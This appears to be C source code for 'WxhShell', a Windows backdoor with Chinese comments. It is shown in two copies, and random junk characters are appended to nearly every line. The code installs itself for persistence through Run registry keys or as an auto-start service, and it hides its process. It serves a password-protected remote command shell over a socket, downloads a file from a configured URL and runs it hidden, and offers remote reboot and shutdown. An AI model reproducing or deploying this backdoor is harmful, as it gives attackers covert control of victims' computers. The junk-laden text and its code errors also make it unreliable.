    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V{KjRSVf=  
    if(Boot(SHUTDOWN)) <R>Q4&we(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M z9 3  
    else { Bk+{}  
    closesocket(wsh); 6mwvI4)  
    ExitThread(0); Pfm*<,'x"[  
    } r9?o$=T  
    break; )+?HI^-[S  
    } @Eo4U]-  
  // 获取shell <p09oZ{6  
  case 's': { l7ZB3'  
    CmdShell(wsh); N9pwWg&<+  
    closesocket(wsh); B n{)|&;  
    ExitThread(0); Z^<Sj5}6  
    break; ):S!Nl  
  } ^=k {~  
  // 退出 uw_H:-J  
  case 'x': { pOKeEW<q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *y{+W   
    CloseIt(wsh); NK~PcdGl  
    break; F, zG;_  
    } xLZ bU4  
  // 离开 YN/u9[=`  
  case 'q': { qT$ )Rb&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a/34WFC  
    closesocket(wsh); 8|6~o.B.G  
    WSACleanup(); *(icR  
    exit(1); @/LiR>,  
    break; zMr&1*CDX  
        } Y_+ SA|s  
  } g#}tm<  
  } Uh}+"h5  
o~;M"  
  // 提示信息 ^Wm*-4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hD*(AJ  
} AxEc^Cof  
  } ,aWCiu}  
gn^!"MN+g  
  return; 6(>WGR  
} 'aZAS Pn[  
$,@JYLC2  
// shell模块句柄 SetX#e?q~  
int CmdShell(SOCKET sock) fQO ""qh  
{ :s]\k%"  
STARTUPINFO si; }Bi@?Sb  
ZeroMemory(&si,sizeof(si)); ~pRs-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lA]N04 d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }qL~KA{&  
PROCESS_INFORMATION ProcessInfo; Mb1wYh  
char cmdline[]="cmd"; EWO /u.z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hVkO%]?  
  return 0; @<a|  
} z>p]/Sa  
K'V 2FTJI  
// 自身启动模式 2 eHx"Ha  
int StartFromService(void) "O``7HA}  
{ m &!XA  
typedef struct l|7O)  
{ Cx,-_  
  DWORD ExitStatus; ;t!9]1  
  DWORD PebBaseAddress; p(?g-  
  DWORD AffinityMask; ($'V& x8T  
  DWORD BasePriority; xj7vI&u.  
  ULONG UniqueProcessId; MO TE/JG  
  ULONG InheritedFromUniqueProcessId; Qh8C,"a  
}   PROCESS_BASIC_INFORMATION; 5VZjDg?  
 ,Y-S(  
PROCNTQSIP NtQueryInformationProcess; C/)`<b(  
OT@yPG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >: $"a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r>O|L%xpv  
bJ6p,]g  
  HANDLE             hProcess; qlvwK&W<QM  
  PROCESS_BASIC_INFORMATION pbi; }/"4|U  
x 'mF&^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V)h y0_  
  if(NULL == hInst ) return 0; tgB=vIw?3  
a ea0+,;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =Epq%,4nG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EZ{\D!_Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a'A s  
Zw24f1iY  
  if (!NtQueryInformationProcess) return 0; xl,ryc3J  
[T]Bfo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5k~\or 5_  
  if(!hProcess) return 0; ]x_F{&6U8  
}*Zo6{B-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _Jy,yMQ^[_  
S<pk c8  
  CloseHandle(hProcess); 37jQ'O U  
GW8CaTf~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yW`e |!  
if(hProcess==NULL) return 0; bl$j%gI%,  
I^:F)a:  
HMODULE hMod; 7_%2xewV|  
char procName[255]; ~ k<SbFp  
unsigned long cbNeeded; 7 Kjj?~RA  
x?=B\8m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qRl/Sl#F  
:q;R6-|.  
  CloseHandle(hProcess); *m&%vj.Kc  
3a^)u-9,x  
if(strstr(procName,"services")) return 1; // 以服务启动 &g {<HU?BT  
O]bKNA.5  
  return 0; // 注册表启动 &~ y{'zoL  
} .l=p[BI  
qy&\Xgn;GA  
// 主模块 ,2_w=<hq  
int StartWxhshell(LPSTR lpCmdLine) xU:4Y0y8  
{ gsfhH0  
  SOCKET wsl; om>VQ3  
BOOL val=TRUE; "/!'9na{QL  
  int port=0; 3C#RjA-2[  
  struct sockaddr_in door; Vmtzig3w[  
o$t &MST?i  
  if(wscfg.ws_autoins) Install(); Uuz?8/w}#  
(7L/eDMT  
port=atoi(lpCmdLine); ^}hZ'<PK  
.jaZ|nN8`  
if(port<=0) port=wscfg.ws_port; AA2ui%  
>>j+LRf*  
  WSADATA data; }k| g%H J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XECikld>  
phmVkV2a;#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0mVuD\#=!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .aJ%am/:%  
  door.sin_family = AF_INET; .*:h9AE7vo  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _jo$)x+'x  
  door.sin_port = htons(port); *W%'Di  
@7-D7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Pj._/$R[/  
closesocket(wsl); ?uig04@3  
return 1; H>Ks6V)RL4  
} j3LNnZY  
d=F)y~&'  
  if(listen(wsl,2) == INVALID_SOCKET) { Kk`<f d  
closesocket(wsl); O"8P#Ed  
return 1; Zik m?(J  
} O/$ v69:  
  Wxhshell(wsl); sSV^5  
  WSACleanup(); GBW 7Y  
$82zyq  
return 0; qhnapZJ  
&*jixqzvn  
} 6# R;HbkO  
]a=l^Pc(xN  
// 以NT服务方式启动 [&Lxz~W][  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gsi<S6DQ8  
{ bje' Oolc  
DWORD   status = 0; f)WPOTEY  
  DWORD   specificError = 0xfffffff; g{]ej  
[|jIC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S`4e@Z$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |NXFla  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a9L0f BRy  
  serviceStatus.dwWin32ExitCode     = 0; IG>>j}  
  serviceStatus.dwServiceSpecificExitCode = 0; _4O[[~  
  serviceStatus.dwCheckPoint       = 0; ,znL,%s  
  serviceStatus.dwWaitHint       = 0; Z"+(LO!  
}WoX9M; 1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rtoSCj:  
  if (hServiceStatusHandle==0) return; ]2g5Ka[>w  
JW2W>6Dgv[  
status = GetLastError(); Kgps_tY%  
  if (status!=NO_ERROR) V.+DP  
{ gZ=) qT]Pj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cS+?s=d  
    serviceStatus.dwCheckPoint       = 0; |I4D(#w.  
    serviceStatus.dwWaitHint       = 0; O'Vh{JHf  
    serviceStatus.dwWin32ExitCode     = status; zC[i <'h!T  
    serviceStatus.dwServiceSpecificExitCode = specificError; CR P7U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hl=oiUf[s  
    return; zR_9D}  
  } 9[B<rz  
L>eQ*311  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @:I \\S@bN  
  serviceStatus.dwCheckPoint       = 0; i_'|:Uy*F  
  serviceStatus.dwWaitHint       = 0; Uzy ;#q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ikeJDKSG  
} }Z<D^Z~w  
hrUm} @d  
// 处理NT服务事件,比如:启动、停止 iLc)"L-i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \;4L~_2$q  
{ 9_I[o.q   
switch(fdwControl) }mkA Hmu4  
{ +F#=`+V  
case SERVICE_CONTROL_STOP: ;2+ FgOj  
  serviceStatus.dwWin32ExitCode = 0; e-YGuWGN7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vy>];!Cu  
  serviceStatus.dwCheckPoint   = 0; _:/Cl9~  
  serviceStatus.dwWaitHint     = 0; ^d5gz0d  
  { .N'%hh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /TR"\xQF  
  } <T4 7kLI  
  return; HPv&vdr3  
case SERVICE_CONTROL_PAUSE: /@xr[=L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $_%2D3-;D  
  break; !;BZ#tF&  
case SERVICE_CONTROL_CONTINUE: eHfG;NsV /  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  Ep#<$6>  
  break; z/Mhu{ttL  
case SERVICE_CONTROL_INTERROGATE: U~JG1#z6  
  break; \{Ox@   
}; uaZ"x& oZ#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t6! p\Y}}  
}  (9'G  
M4L~bK   
// 标准应用程序主函数 < |]i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~7)rKHau  
{ !/=9VD{U!  
]e#,\})Br  
// 获取操作系统版本 J"a2 @S&  
OsIsNt=GetOsVer(); *R9mgv[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [xp~@5r'  
&})4?5  
  // 从命令行安装 j|VlHDqR  
  if(strpbrk(lpCmdLine,"iI")) Install(); V}Y~z)i0  
?()E5 4y  
  // 下载执行文件 +lXdRc`6  
if(wscfg.ws_downexe) { [W8iM7D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i&SBW0)  
  WinExec(wscfg.ws_filenam,SW_HIDE); M25z<Y  
} 0YsN82IDD  
l yLK$B?/  
if(!OsIsNt) { A<*tn?M]  
// 如果时win9x,隐藏进程并且设置为注册表启动 gw}7%U`T9  
HideProc(); TnZc.  
StartWxhshell(lpCmdLine); w$<fSe7  
} )oz-<zW  
else f@x( ,p  
  if(StartFromService()) 5D02%U2N)G  
  // 以服务方式启动 Hhce:E@K  
  StartServiceCtrlDispatcher(DispatchTable); Vms7 Jay  
else  zxynEdO  
  // 普通方式启动 {KQ-Ce-6  
  StartWxhshell(lpCmdLine); -$!Pf$l@  
aGzdur  
return 0; "351s3ff  
} 1PT_1[eAR  
yI)RG OV  
Fy+7{=?^F  
F" #3s=  
=========================================== /v5g;x_T  
YQ[&h  
3Jk?)D y  
4 *2>R8SX~  
l.W1$g  
~ @"Qm;} "  
" @0@'6J04  
}?ac<> u&  
#include <stdio.h> =ym~= S  
#include <string.h> HDXjH|of  
#include <windows.h> kHIQ/\3?Q  
#include <winsock2.h> b<8J;u<  
#include <winsvc.h> (k HQKQmq  
#include <urlmon.h> '' A[`,3  
KL_}:O68  
#pragma comment (lib, "Ws2_32.lib") @BQB NGR1  
#pragma comment (lib, "urlmon.lib") Jtk.v49Ad>  
:aFpz6<  
#define MAX_USER   100 // 最大客户端连接数 =rtA{g$)+  
#define BUF_SOCK   200 // sock buffer z(#hL-{c  
#define KEY_BUFF   255 // 输入 buffer k~EPVJh"  
DDCQAf  
#define REBOOT     0   // 重启 l$ _+WC*wp  
#define SHUTDOWN   1   // 关机 C5n=2luI_  
k^%ec3l  
#define DEF_PORT   5000 // 监听端口 J,M5<s[Xqt  
7 |eSvC  
#define REG_LEN     16   // 注册表键长度 YGO7lar  
#define SVC_LEN     80   // NT服务名长度 Xq)%w#l5?  
pxnUe1=  
// 从dll定义API _CwQ}n*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ML"P"&~u6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7wEG<,D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %[CM;|?B4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X|B;>q  
\B ^sJ[n  
// wxhshell配置信息 ?{P6AF-xcf  
struct WSCFG { Lj1 @yokB  
  int ws_port;         // 监听端口 e(% Solkm?  
  char ws_passstr[REG_LEN]; // 口令 `-YSFQ~O,  
  int ws_autoins;       // 安装标记, 1=yes 0=no +rO<'H:umJ  
  char ws_regname[REG_LEN]; // 注册表键名 ]TprPU39  
  char ws_svcname[REG_LEN]; // 服务名 /<pQ!'/G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [MP :Eeg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?v~3zHK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 * CGdfdxW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^aWNtY' :  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" '*Mb .s"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AFUl   
MF sy`aiS  
}; >^HTghgRD  
. TS=[WGMS  
// default Wxhshell configuration trt\PP:H%  
struct WSCFG wscfg={DEF_PORT, p+D 6Z'B  
    "xuhuanlingzhe", g'7hc~=  
    1, ZTC1t_  
    "Wxhshell", -{SiK  
    "Wxhshell", 0! %}  
            "WxhShell Service", zm"g,\.d  
    "Wrsky Windows CmdShell Service", &bK$!8Z  
    "Please Input Your Password: ", DA@hf  
  1, 5FKd{V'  
  "http://www.wrsky.com/wxhshell.exe", -s "$I:v  
  "Wxhshell.exe" eakIK+-21y  
    }; 4ux5G`oL  
bj{f[nZ d  
// 消息定义模块 Mwk_S Cy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _oVA0@#n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i_ TdI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YcZ4y@6"  
char *msg_ws_ext="\n\rExit."; DK%eFCo<~  
char *msg_ws_end="\n\rQuit."; @ xr   
char *msg_ws_boot="\n\rReboot..."; Ih"Ol(W  
char *msg_ws_poff="\n\rShutdown..."; _8`;Xgp  
char *msg_ws_down="\n\rSave to "; K a|\gl;V  
83*k.]S`  
char *msg_ws_err="\n\rErr!"; XjU;oh4:.  
char *msg_ws_ok="\n\rOK!"; Mp=+*I[  
[nD4\x+  
char ExeFile[MAX_PATH]; nJg2O@mRJ  
int nUser = 0; KVy5/A/8c  
HANDLE handles[MAX_USER]; axOy~%%c  
int OsIsNt; s$6#3%h  
f'U]Ik;Jy  
SERVICE_STATUS       serviceStatus; [G/X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >FNt*tX<0  
T,>e\  
// 函数声明 it vdzPO  
int Install(void); [_@OCiV5)  
int Uninstall(void); _AHVMsz@  
int DownloadFile(char *sURL, SOCKET wsh); UC@"<$'C  
int Boot(int flag); T7'$A!c  
void HideProc(void); Q2=~  
int GetOsVer(void); N/VIP0Kb  
int Wxhshell(SOCKET wsl); 6'zy"UkH  
void TalkWithClient(void *cs); ` 454=3H  
int CmdShell(SOCKET sock); 5yID%  
int StartFromService(void); iN*@f8gf  
int StartWxhshell(LPSTR lpCmdLine); %-CC_R|0$  
06$9Uz9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .YRSd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0<9TyN6  
cj *4 XYu  
// 数据结构和表定义 sTz*tSwQv  
SERVICE_TABLE_ENTRY DispatchTable[] = gK CIfxM  
{ a{W-+t   
{wscfg.ws_svcname, NTServiceMain}, < r~Tj  
{NULL, NULL} %*nZ,r  
}; qfU3Cwy  
kZNZ?A<D  
// 自我安装 n21J7;\/+  
int Install(void) t/g}cR^Q  
{ sh1()vT  
  char svExeFile[MAX_PATH]; n6f|,D!?  
  HKEY key; 8Yh2K}  
  strcpy(svExeFile,ExeFile); A-FwNo2"%  
3[rB:cE/  
// 如果是win9x系统,修改注册表设为自启动 '\Ub*m((1O  
if(!OsIsNt) { #,56vVY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :w+Rs+R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &bRH(yF  
  RegCloseKey(key); cx|j _5%i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )[1m$>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @w0[5ZAj  
  RegCloseKey(key); -)@.D>HsOt  
  return 0; x-<dJ}`  
    } 0CROq}  
  } heWb(E&  
} i ?>"}h  
else { |zMQe}R@%  
e9d~Xi16KY  
// 如果是NT以上系统,安装为系统服务 !Xm:$KH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]^y}}y  
if (schSCManager!=0) c.fj[U|j  
{ NmQ]qv  
  SC_HANDLE schService = CreateService AZa3!e/1  
  ( / @&Sqv4?  
  schSCManager, o;.-I[9h]  
  wscfg.ws_svcname, llzl-2` /  
  wscfg.ws_svcdisp, ZLkJYZk  
  SERVICE_ALL_ACCESS, I9 E@2[=!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Nd6z81  
  SERVICE_AUTO_START, 1 f=L8Dr  
  SERVICE_ERROR_NORMAL, {x8`gP\H  
  svExeFile, j!s&yHE1  
  NULL, bY>Ug{O;  
  NULL, %_ ~[+ ~#  
  NULL, t]x HM  
  NULL, CqoL5qt  
  NULL sqw _c{9  
  ); f_7p.H6\  
  if (schService!=0) JI^w1I, T  
  { x\jHk}Buj  
  CloseServiceHandle(schService); 3 *G=U  
  CloseServiceHandle(schSCManager); gDsZbmR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #xc[)Y,W  
  strcat(svExeFile,wscfg.ws_svcname); d^w_rL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ; H3kb +  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O!g> f  
  RegCloseKey(key); ;[xDc>&("Q  
  return 0; m[}$&i$(  
    } [ACYd/  
  } sJr$[?  
  CloseServiceHandle(schSCManager); e9 NHbq  
} /EC m  
} \||PW58j  
!-QKh aY  
return 1; WFkXz*7B  
} _ehU:3L`s  
p;@PfhEz)  
// 自我卸载 NlKnMgt~  
int Uninstall(void) DxYu   
{ DgdW.Kj|IL  
  HKEY key; L$b9|j7  
1t)6wk N  
if(!OsIsNt) { ;7hf'k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4uz\Me(  
  RegDeleteValue(key,wscfg.ws_regname); ?832#a?FZ;  
  RegCloseKey(key); 4QDW}5xB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .VUZ4e  
  RegDeleteValue(key,wscfg.ws_regname); /`1zkBj<&  
  RegCloseKey(key); 6wF ?FtT  
  return 0; Ki'EO$  
  } %B~`bUHjq  
} S&VN</p  
} snyx$Qx(  
else { 7DI8r|~  
m:h]nm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9@h>_1RJz  
if (schSCManager!=0) y,%w`  
{ |6&"r&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 04( h!@!g:  
  if (schService!=0) $)'{+1  
  { 7mu%|!  
  if(DeleteService(schService)!=0) { eSvu:euv  
  CloseServiceHandle(schService); We" "/X  
  CloseServiceHandle(schSCManager); "aP/214Ul  
  return 0; kh`X92~  
  } r2Q"NVw  
  CloseServiceHandle(schService); F`-? 3]\3  
  } %TLAn[LW(  
  CloseServiceHandle(schSCManager); wo*/{KFvh  
} 6 Fm.^9@  
} ]$z~;\T  
{ }>"f]3  
return 1; _]<]:b  
} vbSz&+52;  
H(0d(c1s  
// 从指定url下载文件 p}j{ <y  
int DownloadFile(char *sURL, SOCKET wsh) Y &#<{j':  
{ B aXzz  
  HRESULT hr; ftK.jj1:  
char seps[]= "/"; C&"8A\we  
char *token; >CYg\vas!  
char *file; )d s(/P5b  
char myURL[MAX_PATH]; (OJ}|*\e  
char myFILE[MAX_PATH]; C5eol &  
p<jHUG4?'  
strcpy(myURL,sURL); C~l5D4D#  
  token=strtok(myURL,seps); MY0Wr%@#0  
  while(token!=NULL) ag] nVE/  
  { 9gWQGkql  
    file=token; 7C&`i}/t  
  token=strtok(NULL,seps); Vv zd>yII  
  } 0m?ul%=  
Y}4dW'  
GetCurrentDirectory(MAX_PATH,myFILE); xvgIYc{  
strcat(myFILE, "\\"); Uz1u6BF  
strcat(myFILE, file); E fqa*,k  
  send(wsh,myFILE,strlen(myFILE),0); }3+q}_3  
send(wsh,"...",3,0); TsR20P@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ir]b. 6B  
  if(hr==S_OK) 2!jbaSH(+  
return 0; XbHcd8N T  
else (/uL6W d0  
return 1; <@Ew-JU  
*gBaF/C  
} L*FnFRhU  
}p "HD R>  
// 系统电源模块 _msDf2e9  
int Boot(int flag) 8fdOV&&D~i  
{ #{N#yReh  
  HANDLE hToken; 2y,~i;;_  
  TOKEN_PRIVILEGES tkp; vnIxI a  
2wu 5`Z[E  
  if(OsIsNt) { <nIU]}q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H4%wq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pKp#4Js  
    tkp.PrivilegeCount = 1; |rNm_L2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ef7 Kx49I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `UeF3~)>E  
if(flag==REBOOT) { D@\97t+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 76c}Rk^  
  return 0; {\ .2h  
} ,kLeK{   
else { z?V> ST  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GTLlQy)'=  
  return 0; QAX+oy  
} ,(lD5iN  
  } 4 9#I  
  else { !n !~Bw  
if(flag==REBOOT) { J| 3CG;+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S$V'_  
  return 0; 64zO%F*  
} k ^+h>B-;  
else { $|A vT;4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P^&+ehp  
  return 0; }_u )3X.O  
} SR8[ 7MU  
} 'd/A+W  
*6k (xL  
return 1; Z^#7&Pv0  
} ujDAs%6MZ  
Hjlx,:'M  
// win9x进程隐藏模块 LG51e7_gFi  
void HideProc(void) x37r{$2  
{ Qza[~6  
Qa"R?dfr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I8?egDkk  
  if ( hKernel != NULL ) rs\*$20  
  { mb?yG:L=0b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~|?2<g$gYR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _pk=IHGsB  
    FreeLibrary(hKernel); 8vnU!r  
  } vUj7rDT|  
5MiWM2"X\  
return; w/Ia` Tx$  
} >Utn[']~  
'0?5K0 2(  
// 获取操作系统版本 >>&~;PG[  
int GetOsVer(void) A.y"R)G  
{ E-n!3RQ(w  
  OSVERSIONINFO winfo; v]vrD2L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z;lE-`Z*(F  
  GetVersionEx(&winfo); {T.$xiR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [NC^v.[1[  
  return 1; m|e!1_ :H  
  else At.WBa3j%{  
  return 0; Jg: Uv6eN+  
} Fa@#nY|UV3  
gTiDV{ Ip  
// 客户端句柄模块 +Hv%m8'0|  
int Wxhshell(SOCKET wsl) EYMwg_  
{ LvE|K&R|  
  SOCKET wsh; i Ri1E;  
  struct sockaddr_in client; J6\<>5 A?  
  DWORD myID; 33-=Z9|r  
'g( R4deCX  
  while(nUser<MAX_USER) <XGOcekG  
{ g'hBs D1'  
  int nSize=sizeof(client); <@e6zQG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W9.Z hpM  
  if(wsh==INVALID_SOCKET) return 1; ^> ZQ:xs@(  
(r:WG!I,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b- %7@j  
if(handles[nUser]==0) x4Eq5"F7}  
  closesocket(wsh); #P18vK5  
else aRj3TtFh  
  nUser++; }?8KFe7U  
  } nM\W a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4jO~kcad  
E70  
  return 0; %%kl R{  
} 1*G7Uh@K}  
-mcLT@  
// 关闭 socket I0GL/a 4s  
void CloseIt(SOCKET wsh) WY0u9M4  
{ !|,=rM9x  
closesocket(wsh); K)@]vw/\  
nUser--; {ZN{$Ad3/  
ExitThread(0); i8u9~F   
} {n #  
[ZDJs`h!`  
// 客户端请求句柄 K.*zqQKlI|  
void TalkWithClient(void *cs) |M0 XLCNd_  
{ A]Q4fD1q  
p;X[_h  
  SOCKET wsh=(SOCKET)cs; !W n'Ae9  
  char pwd[SVC_LEN]; RSzp-sKB  
  char cmd[KEY_BUFF]; Z/:( *FC  
char chr[1]; q>!T*BQ  
int i,j; ?AYI   
9`-ofwr'|  
  while (nUser < MAX_USER) { nolTvqMT  
D[:7B:i  
if(wscfg.ws_passstr) { z}OY'}sk8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *E+) mB"~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p^\>{  
  //ZeroMemory(pwd,KEY_BUFF); [Z~>7ayF+)  
      i=0; SS(jjpe&,  
  while(i<SVC_LEN) { wp.'M?6`L  
\ 1ys2BX  
  // 设置超时 qt/"$6]%  
  fd_set FdRead; ~'v^__8  
  struct timeval TimeOut; {RwwSqJ  
  FD_ZERO(&FdRead); HgduH::\#  
  FD_SET(wsh,&FdRead); 9tk}_+  
  TimeOut.tv_sec=8; \'BKI;  
  TimeOut.tv_usec=0; 3)__b:7J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2!{CNt.-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BRD>q4w  
t~,!a?S7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -}PD0Pzg;=  
  pwd=chr[0]; 9bqfZ"6nXY  
  if(chr[0]==0xd || chr[0]==0xa) { TS-m^Y'R  
  pwd=0; oV,>u5:B  
  break; cf@:rHB}  
  } kf&id/|  
  i++; E2!;W8M  
    } >:KPvq!0  
gHYYxhW$  
  // 如果是非法用户,关闭 socket |Z#) 1K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tdZ:w  
} ;l}TUo  
A-c3B+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u+XZdV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); > *vI:MG8  
aMh2[I  
while(1) { {#Mz4s`M  
Tet,mzVuu  
  ZeroMemory(cmd,KEY_BUFF); JF24~Q4P  
L{<E'#@F  
      // 自动支持客户端 telnet标准   Il*wVNrZI  
  j=0; %8hhk]m\b>  
  while(j<KEY_BUFF) { !{r Gt`y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oAvL?2  
  cmd[j]=chr[0]; sE-"TNONZ  
  if(chr[0]==0xa || chr[0]==0xd) { zF\k*B  
  cmd[j]=0; *8X: fq  
  break; qo$<&'r  
  } 4`!(M]u=  
  j++; <@@.~Qm'  
    } gd/W8*NFR  
UO>p-M  
  // 下载文件 L!-T`R8'c  
  if(strstr(cmd,"http://")) { m:X;dcq'3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =(.HO:#  
  if(DownloadFile(cmd,wsh)) T9N /;3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0&c12W|B<L  
  else S(9fGh  
